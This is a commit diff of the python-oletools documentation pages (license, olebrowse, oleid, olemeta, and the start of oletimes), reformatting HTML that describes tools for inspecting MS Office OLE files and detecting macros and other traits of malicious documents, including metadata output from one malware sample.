17 -<li>Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.</li>  
18 -</ul>  
19 -<p>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>  
20 -<table>  
21 -<tbody>  
22 -<tr class="odd">  
23 -<td align="left">License for officeparser</td>  
24 -</tr>  
25 -</tbody>  
26 -</table>  
27 -<p>olevba contains modified source code from the <a href="https://github.com/unixfreak0037/officeparser">officeparser</a> project, published under the following MIT License (MIT):</p>  
28 -<p>officeparser is copyright (c) 2014 John William Davison</p>  
29 -<p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p>  
30 -<p>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</p>  
31 -<p>THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>  
32 -<hr />  
33 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
34 -<ul>  
35 -<li><a href="Home.html">Home</a></li>  
36 -<li><a href="License.html">License</a></li>  
37 -<li><a href="Install.html">Install</a></li>  
38 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
39 -<li>Tools:  
40 -<ul>  
41 -<li><a href="olebrowse.html">olebrowse</a></li>  
42 -<li><a href="oleid.html">oleid</a></li>  
43 -<li><a href="olemeta.html">olemeta</a></li>  
44 -<li><a href="oletimes.html">oletimes</a></li>  
45 -<li><a href="olevba.html">olevba</a></li>  
46 -<li><a href="pyxswf.html">pyxswf</a></li>  
47 -<li><a href="rtfobj.html">rtfobj</a></li>  
48 -</ul></li>  
49 -</ul>  
50 -</body>  
51 -</html> 1 +<p>License for python-oletools</p>
  2 +<p>===========================</p>
  3 +<p>This license applies to the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package, apart from the</p>
  4 +<p>thirdparty folder which contains third-party files published with their own license.</p>
  5 +<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (<a href="http://www.decalage.info">http://www.decalage.info</a>)</p>
  6 +<p>All rights reserved.</p>
  7 +<p>Redistribution and use in source and binary forms, with or without modification,</p>
  8 +<p>are permitted provided that the following conditions are met:</p>
  9 +<ul>
  10 +<li>Redistributions of source code must retain the above copyright notice, this</li>
  11 +</ul>
  12 +<p>list of conditions and the following disclaimer.</p>
  13 +<ul>
  14 +<li>Redistributions in binary form must reproduce the above copyright notice,</li>
  15 +</ul>
  16 +<p>this list of conditions and the following disclaimer in the documentation</p>
  17 +<p>and/or other materials provided with the distribution.</p>
  18 +<p>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; AND</p>
  19 +<p>ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED</p>
  20 +<p>WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE</p>
  21 +<p>DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE</p>
  22 +<p>FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</p>
  23 +<p>DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR</p>
  24 +<p>SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER</p>
  25 +<p>CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,</p>
  26 +<p>OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE</p>
  27 +<p>OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>
  28 +<hr />
  29 +<p>License for officeparser</p>
  30 +<hr />
  31 +<p>olevba contains modified source code from the <a href="https://github.com/unixfreak0037/officeparser">officeparser</a> project, published</p>
  32 +<p>under the following MIT License (MIT):</p>
  33 +<p>officeparser is copyright (c) 2014 John William Davison</p>
  34 +<p>Permission is hereby granted, free of charge, to any person obtaining a copy</p>
  35 +<p>of this software and associated documentation files (the &quot;Software&quot;), to deal</p>
  36 +<p>in the Software without restriction, including without limitation the rights</p>
  37 +<p>to use, copy, modify, merge, publish, distribute, sublicense, and/or sell</p>
  38 +<p>copies of the Software, and to permit persons to whom the Software is</p>
  39 +<p>furnished to do so, subject to the following conditions:</p>
  40 +<p>The above copyright notice and this permission notice shall be included in all</p>
  41 +<p>copies or substantial portions of the Software.</p>
  42 +<p>THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR</p>
  43 +<p>IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,</p>
  44 +<p>FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE</p>
  45 +<p>AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER</p>
  46 +<p>LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,</p>
  47 +<p>OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE</p>
  48 +<p>SOFTWARE.</p>
  49 +<hr />
  50 +<p>python-oletools documentation</p>
  51 +<hr />
  52 +<ul>
  53 +<li><p><a href="Home.html">Home</a></p></li>
  54 +<li><p><a href="License.html">License</a></p></li>
  55 +<li><p><a href="Install.html">Install</a></p></li>
  56 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  57 +<li><p>Tools:</p>
  58 +<ul>
  59 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  60 +<li><p><a href="oleid.html">oleid</a></p></li>
  61 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  62 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  63 +<li><p><a href="olevba.html">olevba</a></p></li>
  64 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  65 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  66 +</ul></li>
  67 +</ul>
oletools/doc/olebrowse.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="olebrowse">olebrowse</h1>  
11 -<p>olebrowse is a simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to view and extract individual data streams.</p>  
12 -<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>  
13 -<h2 id="usage">Usage</h2>  
14 -<pre><code>olebrowse.py [file]</code></pre>  
15 -<p>If you provide a file it will be opened, else a dialog will allow you to browse folders to open a file. Then if it is a valid OLE file, the list of data streams will be displayed. You can select a stream, and then either view its content in a builtin hexadecimal viewer, or save it to a file for further analysis.</p>  
16 -<h2 id="screenshots">Screenshots</h2>  
17 -<p>Main menu, showing all streams in the OLE file:</p>  
18 -<div class="figure">  
19 -<img src="olebrowse1_menu.png" /><p class="caption"></p>  
20 -</div>  
21 -<p>Menu with actions for a stream:</p>  
22 -<div class="figure">  
23 -<img src="olebrowse2_stream.png" /><p class="caption"></p>  
24 -</div>  
25 -<p>Hex view for a stream:</p>  
26 -<div class="figure">  
27 -<img src="olebrowse3_hexview.png" /><p class="caption"></p>  
28 -</div>  
29 -<hr />  
30 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
31 -<ul>  
32 -<li><a href="Home.html">Home</a></li>  
33 -<li><a href="License.html">License</a></li>  
34 -<li><a href="Install.html">Install</a></li>  
35 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
36 -<li>Tools:  
37 -<ul>  
38 -<li><a href="olebrowse.html">olebrowse</a></li>  
39 -<li><a href="oleid.html">oleid</a></li>  
40 -<li><a href="olemeta.html">olemeta</a></li>  
41 -<li><a href="oletimes.html">oletimes</a></li>  
42 -<li><a href="olevba.html">olevba</a></li>  
43 -<li><a href="pyxswf.html">pyxswf</a></li>  
44 -<li><a href="rtfobj.html">rtfobj</a></li>  
45 -</ul></li>  
46 -</ul>  
47 -</body>  
48 -</html> 1 +<p>olebrowse</p>
  2 +<p>=========</p>
  3 +<p>olebrowse is a simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to</p>
  4 +<p>view and extract individual data streams.</p>
  5 +<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
  6 +<p>Usage</p>
  7 +<hr />
  8 +<pre><code>olebrowse.py [file]</code></pre>
  9 +<p>If you provide a file it will be opened, else a dialog will allow you to browse folders to open a file. Then if it is a valid OLE file, the list of data streams will be displayed. You can select a stream, and then either view its content in a builtin hexadecimal viewer, or save it to a file for further analysis.</p>
  10 +<p>Screenshots</p>
  11 +<hr />
  12 +<p>Main menu, showing all streams in the OLE file:</p>
  13 +<div class="figure">
  14 +<img src="olebrowse1_menu.png" />
  15 +</div>
  16 +<p>Menu with actions for a stream:</p>
  17 +<div class="figure">
  18 +<img src="olebrowse2_stream.png" />
  19 +</div>
  20 +<p>Hex view for a stream:</p>
  21 +<div class="figure">
  22 +<img src="olebrowse3_hexview.png" />
  23 +</div>
  24 +<hr />
  25 +<p>python-oletools documentation</p>
  26 +<hr />
  27 +<ul>
  28 +<li><p><a href="Home.html">Home</a></p></li>
  29 +<li><p><a href="License.html">License</a></p></li>
  30 +<li><p><a href="Install.html">Install</a></p></li>
  31 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  32 +<li><p>Tools:</p>
  33 +<ul>
  34 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  35 +<li><p><a href="oleid.html">oleid</a></p></li>
  36 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  37 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  38 +<li><p><a href="olevba.html">olevba</a></p></li>
  39 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  40 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  41 +</ul></li>
  42 +</ul>
oletools/doc/oleid.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="oleid">oleid</h1>  
11 -<p>oleid is a script to analyze OLE files such as MS Office documents (e.g. Word, Excel), to detect specific characteristics usually found in malicious files (e.g. malware). For example it can detect VBA macros and embedded Flash objects.</p>  
12 -<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>  
13 -<h2 id="main-features">Main Features</h2>  
14 -<ul>  
15 -<li>Detect OLE file type from its internal structure (e.g. MS Word, Excel, PowerPoint, ...)</li>  
16 -<li>Detect VBA Macros</li>  
17 -<li>Detect embedded Flash objects</li>  
18 -<li>Detect embedded OLE objects</li>  
19 -<li>Detect MS Office encryption</li>  
20 -<li>Can be used as a command-line tool</li>  
21 -<li>Python API to integrate it in your applications</li>  
22 -</ul>  
23 -<p>Planned improvements:</p>  
24 -<ul>  
25 -<li>Extract the most important metadata fields</li>  
26 -<li>Support for OpenXML files and embedded OLE files</li>  
27 -<li>Generic VBA macros detection</li>  
28 -<li>Detect auto-executable VBA macros</li>  
29 -<li>Extended OLE file types detection</li>  
30 -<li>Detect unusual OLE structures (fragmentation, unused sectors, etc)</li>  
31 -<li>Options to scan multiple files</li>  
32 -<li>Options to scan files from encrypted zip archives</li>  
33 -<li>CSV output</li>  
34 -</ul>  
35 -<h2 id="usage">Usage</h2>  
36 -<pre><code>oleid.py &lt;file&gt;</code></pre>  
37 -<h3 id="example">Example</h3>  
38 -<p>Analyzing a Word document containing a Flash object and VBA macros:</p>  
39 -<pre><code>C:\oletools&gt;oleid.py word_flash_vba.doc  
40 -  
41 -Filename: word_flash_vba.doc  
42 -+-------------------------------+-----------------------+  
43 -| Indicator | Value |  
44 -+-------------------------------+-----------------------+  
45 -| OLE format | True |  
46 -| Has SummaryInformation stream | True |  
47 -| Application name | Microsoft Office Word |  
48 -| Encrypted | False |  
49 -| Word Document | True |  
50 -| VBA Macros | True |  
51 -| Excel Workbook | False |  
52 -| PowerPoint Presentation | False |  
53 -| Visio Drawing | False |  
54 -| ObjectPool | True |  
55 -| Flash objects | 1 |  
56 -+-------------------------------+-----------------------+</code></pre>  
57 -<h2 id="how-to-use-oleid-in-your-python-applications">How to use oleid in your Python applications</h2>  
58 -<p>First, import oletools.oleid, and create an <strong>OleID</strong> object to scan a file:</p>  
59 -<pre><code>import oletools.oleid  
60 -  
61 -oid = oletools.oleid.OleID(filename)</code></pre>  
62 -<p>Note: filename can be a filename, a file-like object, or a bytes string containing the file to be analyzed.</p>  
63 -<p>Second, call the <strong>check()</strong> method. It returns a list of <strong>Indicator</strong> objects.</p>  
64 -<p>Each Indicator object has the following attributes:</p>  
65 -<ul>  
66 -<li><strong>id</strong>: str, identifier for the indicator</li>  
67 -<li><strong>name</strong>: str, name to display the indicator</li>  
68 -<li><strong>description</strong>: str, long description of the indicator</li>  
69 -<li><strong>type</strong>: class of the indicator (e.g. bool, str, int)</li>  
70 -<li><strong>value</strong>: value of the indicator</li>  
71 -</ul>  
72 -<p>For example, the following code displays all the indicators:</p>  
73 -<pre><code>indicators = oid.check()  
74 -for i in indicators:  
75 - print &#39;Indicator id=%s name=&quot;%s&quot; type=%s value=%s&#39; % (i.id, i.name, i.type, repr(i.value))  
76 - print &#39;description:&#39;, i.description  
77 - print &#39;&#39;</code></pre>  
78 -<p>See the source code of oleid.py for more details.</p>  
79 -<hr />  
80 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
81 -<ul>  
82 -<li><a href="Home.html">Home</a></li>  
83 -<li><a href="License.html">License</a></li>  
84 -<li><a href="Install.html">Install</a></li>  
85 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
86 -<li>Tools:  
87 -<ul>  
88 -<li><a href="olebrowse.html">olebrowse</a></li>  
89 -<li><a href="oleid.html">oleid</a></li>  
90 -<li><a href="olemeta.html">olemeta</a></li>  
91 -<li><a href="oletimes.html">oletimes</a></li>  
92 -<li><a href="olevba.html">olevba</a></li>  
93 -<li><a href="pyxswf.html">pyxswf</a></li>  
94 -<li><a href="rtfobj.html">rtfobj</a></li>  
95 -</ul></li>  
96 -</ul>  
97 -</body>  
98 -</html> 1 +<p>oleid</p>
  2 +<p>=====</p>
  3 +<p>oleid is a script to analyze OLE files such as MS Office documents (e.g. Word,</p>
  4 +<p>Excel), to detect specific characteristics usually found in malicious files (e.g. malware).</p>
  5 +<p>For example it can detect VBA macros and embedded Flash objects.</p>
  6 +<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
  7 +<h2 id="main-features">Main Features</h2>
  8 +<ul>
  9 +<li><p>Detect OLE file type from its internal structure (e.g. MS Word, Excel, PowerPoint, ...)</p></li>
  10 +<li><p>Detect VBA Macros</p></li>
  11 +<li><p>Detect embedded Flash objects</p></li>
  12 +<li><p>Detect embedded OLE objects</p></li>
  13 +<li><p>Detect MS Office encryption</p></li>
  14 +<li><p>Can be used as a command-line tool</p></li>
  15 +<li><p>Python API to integrate it in your applications</p></li>
  16 +</ul>
  17 +<p>Planned improvements:</p>
  18 +<ul>
  19 +<li><p>Extract the most important metadata fields</p></li>
  20 +<li><p>Support for OpenXML files and embedded OLE files</p></li>
  21 +<li><p>Generic VBA macros detection</p></li>
  22 +<li><p>Detect auto-executable VBA macros</p></li>
  23 +<li><p>Extended OLE file types detection</p></li>
  24 +<li><p>Detect unusual OLE structures (fragmentation, unused sectors, etc)</p></li>
  25 +<li><p>Options to scan multiple files</p></li>
  26 +<li><p>Options to scan files from encrypted zip archives</p></li>
  27 +<li><p>CSV output</p></li>
  28 +</ul>
  29 +<h2 id="usage">Usage</h2>
  30 +<pre><code>oleid.py &lt;file&gt;</code></pre>
  31 +<h3 id="example">Example</h3>
  32 +<p>Analyzing a Word document containing a Flash object and VBA macros:</p>
  33 +<pre><code>C:\oletools&gt;oleid.py word_flash_vba.doc
  34 +
  35 +
  36 +
  37 +Filename: word_flash_vba.doc
  38 +
  39 ++-------------------------------+-----------------------+
  40 +
  41 +| Indicator | Value |
  42 +
  43 ++-------------------------------+-----------------------+
  44 +
  45 +| OLE format | True |
  46 +
  47 +| Has SummaryInformation stream | True |
  48 +
  49 +| Application name | Microsoft Office Word |
  50 +
  51 +| Encrypted | False |
  52 +
  53 +| Word Document | True |
  54 +
  55 +| VBA Macros | True |
  56 +
  57 +| Excel Workbook | False |
  58 +
  59 +| PowerPoint Presentation | False |
  60 +
  61 +| Visio Drawing | False |
  62 +
  63 +| ObjectPool | True |
  64 +
  65 +| Flash objects | 1 |
  66 +
  67 ++-------------------------------+-----------------------+</code></pre>
  68 +<h2 id="how-to-use-oleid-in-your-python-applications">How to use oleid in your Python applications</h2>
  69 +<p>First, import oletools.oleid, and create an <strong>OleID</strong> object to scan a file:</p>
  70 +<pre><code>import oletools.oleid
  71 +
  72 +
  73 +
  74 +oid = oletools.oleid.OleID(filename)</code></pre>
  75 +<p>Note: filename can be a filename, a file-like object, or a bytes string containing the file to be analyzed.</p>
  76 +<p>Second, call the <strong>check()</strong> method. It returns a list of <strong>Indicator</strong> objects.</p>
  77 +<p>Each Indicator object has the following attributes:</p>
  78 +<ul>
  79 +<li><p><strong>id</strong>: str, identifier for the indicator</p></li>
  80 +<li><p><strong>name</strong>: str, name to display the indicator</p></li>
  81 +<li><p><strong>description</strong>: str, long description of the indicator</p></li>
  82 +<li><p><strong>type</strong>: class of the indicator (e.g. bool, str, int)</p></li>
  83 +<li><p><strong>value</strong>: value of the indicator</p></li>
  84 +</ul>
  85 +<p>For example, the following code displays all the indicators:</p>
  86 +<pre><code>indicators = oid.check()
  87 +
  88 +for i in indicators:
  89 +
  90 + print &#39;Indicator id=%s name=&quot;%s&quot; type=%s value=%s&#39; % (i.id, i.name, i.type, repr(i.value))
  91 +
  92 + print &#39;description:&#39;, i.description
  93 +
  94 + print &#39;&#39;</code></pre>
  95 +<p>See the source code of oleid.py for more details.</p>
  96 +<hr />
  97 +<p>python-oletools documentation</p>
  98 +<hr />
  99 +<ul>
  100 +<li><p><a href="Home.html">Home</a></p></li>
  101 +<li><p><a href="License.html">License</a></p></li>
  102 +<li><p><a href="Install.html">Install</a></p></li>
  103 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  104 +<li><p>Tools:</p>
  105 +<ul>
  106 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  107 +<li><p><a href="oleid.html">oleid</a></p></li>
  108 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  109 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  110 +<li><p><a href="olevba.html">olevba</a></p></li>
  111 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  112 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  113 +</ul></li>
  114 +</ul>
oletools/doc/olemeta.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="olemeta">olemeta</h1>  
11 -<p>olemeta is a script to parse OLE files such as MS Office documents (e.g. Word, Excel), to extract all standard properties present in the OLE file.</p>  
12 -<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>  
13 -<h2 id="usage">Usage</h2>  
14 -<pre><code>olemeta.py &lt;file&gt;</code></pre>  
15 -<h3 id="example">Example</h3>  
16 -<p>Checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p>  
17 -<pre><code>&gt;olemeta.py DIAN_caso-5415.doc  
18 -  
19 -Properties from SummaryInformation stream:  
20 -- codepage: 1252  
21 -- title: &#39;Gu\xeda MIPYME para ser emisor electr\xf3nico&#39;  
22 -- subject: &#39;&#39;  
23 -- author: &#39;OFEyDV&#39;  
24 -- keywords: &#39;&#39;  
25 -- comments: &#39;&#39;  
26 -- template: &#39;Normal.dotm&#39;  
27 -- last_saved_by: &#39;clein&#39;  
28 -- revision_number: &#39;13&#39;  
29 -- total_edit_time: 4800L  
30 -- last_printed: datetime.datetime(2006, 6, 7, 14, 4)  
31 -- create_time: datetime.datetime(2009, 3, 30, 14, 18)  
32 -- last_saved_time: datetime.datetime(2014, 5, 14, 12, 45)  
33 -- num_pages: 7  
34 -- num_words: 269  
35 -- num_chars: 1485  
36 -- thumbnail: None  
37 -- creating_application: &#39;Microsoft Office Word&#39;  
38 -- security: 0  
39 -  
40 -Properties from DocumentSummaryInformation stream:  
41 -- codepage_doc: 1252  
42 -- category: None  
43 -- presentation_target: None  
44 -- bytes: None  
45 -- lines: 12  
46 -- paragraphs: 3  
47 -- slides: None  
48 -- notes: None  
49 -- hidden_slides: None  
50 -- mm_clips: None  
51 -- scale_crop: False  
52 -- heading_pairs: None  
53 -- titles_of_parts: None  
54 -- manager: None  
55 -- company: &#39;Servicio de Impuestos Internos&#39;  
56 -- links_dirty: False  
57 -- chars_with_spaces: 1751  
58 -- unused: None  
59 -- shared_doc: False  
60 -- link_base: None  
61 -- hlinks: None  
62 -- hlinks_changed: False  
63 -- version: 786432  
64 -- dig_sig: None  
65 -- content_type: None  
66 -- content_status: None  
67 -- language: None  
68 -- doc_version: None</code></pre>  
69 -<h2 id="how-to-use-olemeta-in-python-applications">How to use olemeta in Python applications</h2>  
70 -<p>TODO</p>  
71 -<hr />  
72 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
73 -<ul>  
74 -<li><a href="Home.html">Home</a></li>  
75 -<li><a href="License.html">License</a></li>  
76 -<li><a href="Install.html">Install</a></li>  
77 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
78 -<li>Tools:  
79 -<ul>  
80 -<li><a href="olebrowse.html">olebrowse</a></li>  
81 -<li><a href="oleid.html">oleid</a></li>  
82 -<li><a href="olemeta.html">olemeta</a></li>  
83 -<li><a href="oletimes.html">oletimes</a></li>  
84 -<li><a href="olevba.html">olevba</a></li>  
85 -<li><a href="pyxswf.html">pyxswf</a></li>  
86 -<li><a href="rtfobj.html">rtfobj</a></li>  
87 -</ul></li>  
88 -</ul>  
89 -</body>  
90 -</html> 1 +<p>olemeta</p>
  2 +<p>=======</p>
  3 +<p>olemeta is a script to parse OLE files such as MS Office documents (e.g. Word,</p>
  4 +<p>Excel), to extract all standard properties present in the OLE file.</p>
  5 +<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
  6 +<h2 id="usage">Usage</h2>
  7 +<pre><code>olemeta.py &lt;file&gt;</code></pre>
  8 +<h3 id="example">Example</h3>
  9 +<p>Checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p>
  10 +<pre><code>&gt;olemeta.py DIAN_caso-5415.doc
  11 +
  12 +
  13 +
  14 +Properties from SummaryInformation stream:
  15 +
  16 +- codepage: 1252
  17 +
  18 +- title: &#39;Gu\xeda MIPYME para ser emisor electr\xf3nico&#39;
  19 +
  20 +- subject: &#39;&#39;
  21 +
  22 +- author: &#39;OFEyDV&#39;
  23 +
  24 +- keywords: &#39;&#39;
  25 +
  26 +- comments: &#39;&#39;
  27 +
  28 +- template: &#39;Normal.dotm&#39;
  29 +
  30 +- last_saved_by: &#39;clein&#39;
  31 +
  32 +- revision_number: &#39;13&#39;
  33 +
  34 +- total_edit_time: 4800L
  35 +
  36 +- last_printed: datetime.datetime(2006, 6, 7, 14, 4)
  37 +
  38 +- create_time: datetime.datetime(2009, 3, 30, 14, 18)
  39 +
  40 +- last_saved_time: datetime.datetime(2014, 5, 14, 12, 45)
  41 +
  42 +- num_pages: 7
  43 +
  44 +- num_words: 269
  45 +
  46 +- num_chars: 1485
  47 +
  48 +- thumbnail: None
  49 +
  50 +- creating_application: &#39;Microsoft Office Word&#39;
  51 +
  52 +- security: 0
  53 +
  54 +
  55 +
  56 +Properties from DocumentSummaryInformation stream:
  57 +
  58 +- codepage_doc: 1252
  59 +
  60 +- category: None
  61 +
  62 +- presentation_target: None
  63 +
  64 +- bytes: None
  65 +
  66 +- lines: 12
  67 +
  68 +- paragraphs: 3
  69 +
  70 +- slides: None
  71 +
  72 +- notes: None
  73 +
  74 +- hidden_slides: None
  75 +
  76 +- mm_clips: None
  77 +
  78 +- scale_crop: False
  79 +
  80 +- heading_pairs: None
  81 +
  82 +- titles_of_parts: None
  83 +
  84 +- manager: None
  85 +
  86 +- company: &#39;Servicio de Impuestos Internos&#39;
  87 +
  88 +- links_dirty: False
  89 +
  90 +- chars_with_spaces: 1751
  91 +
  92 +- unused: None
  93 +
  94 +- shared_doc: False
  95 +
  96 +- link_base: None
  97 +
  98 +- hlinks: None
  99 +
  100 +- hlinks_changed: False
  101 +
  102 +- version: 786432
  103 +
  104 +- dig_sig: None
  105 +
  106 +- content_type: None
  107 +
  108 +- content_status: None
  109 +
  110 +- language: None
  111 +
  112 +- doc_version: None</code></pre>
  113 +<h2 id="how-to-use-olemeta-in-python-applications">How to use olemeta in Python applications</h2>
  114 +<p>TODO</p>
  115 +<hr />
  116 +<p>python-oletools documentation</p>
  117 +<hr />
  118 +<ul>
  119 +<li><p><a href="Home.html">Home</a></p></li>
  120 +<li><p><a href="License.html">License</a></p></li>
  121 +<li><p><a href="Install.html">Install</a></p></li>
  122 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  123 +<li><p>Tools:</p>
  124 +<ul>
  125 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  126 +<li><p><a href="oleid.html">oleid</a></p></li>
  127 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  128 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  129 +<li><p><a href="olevba.html">olevba</a></p></li>
  130 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  131 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  132 +</ul></li>
  133 +</ul>
oletools/doc/oletimes.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="oletimes">oletimes</h1>  
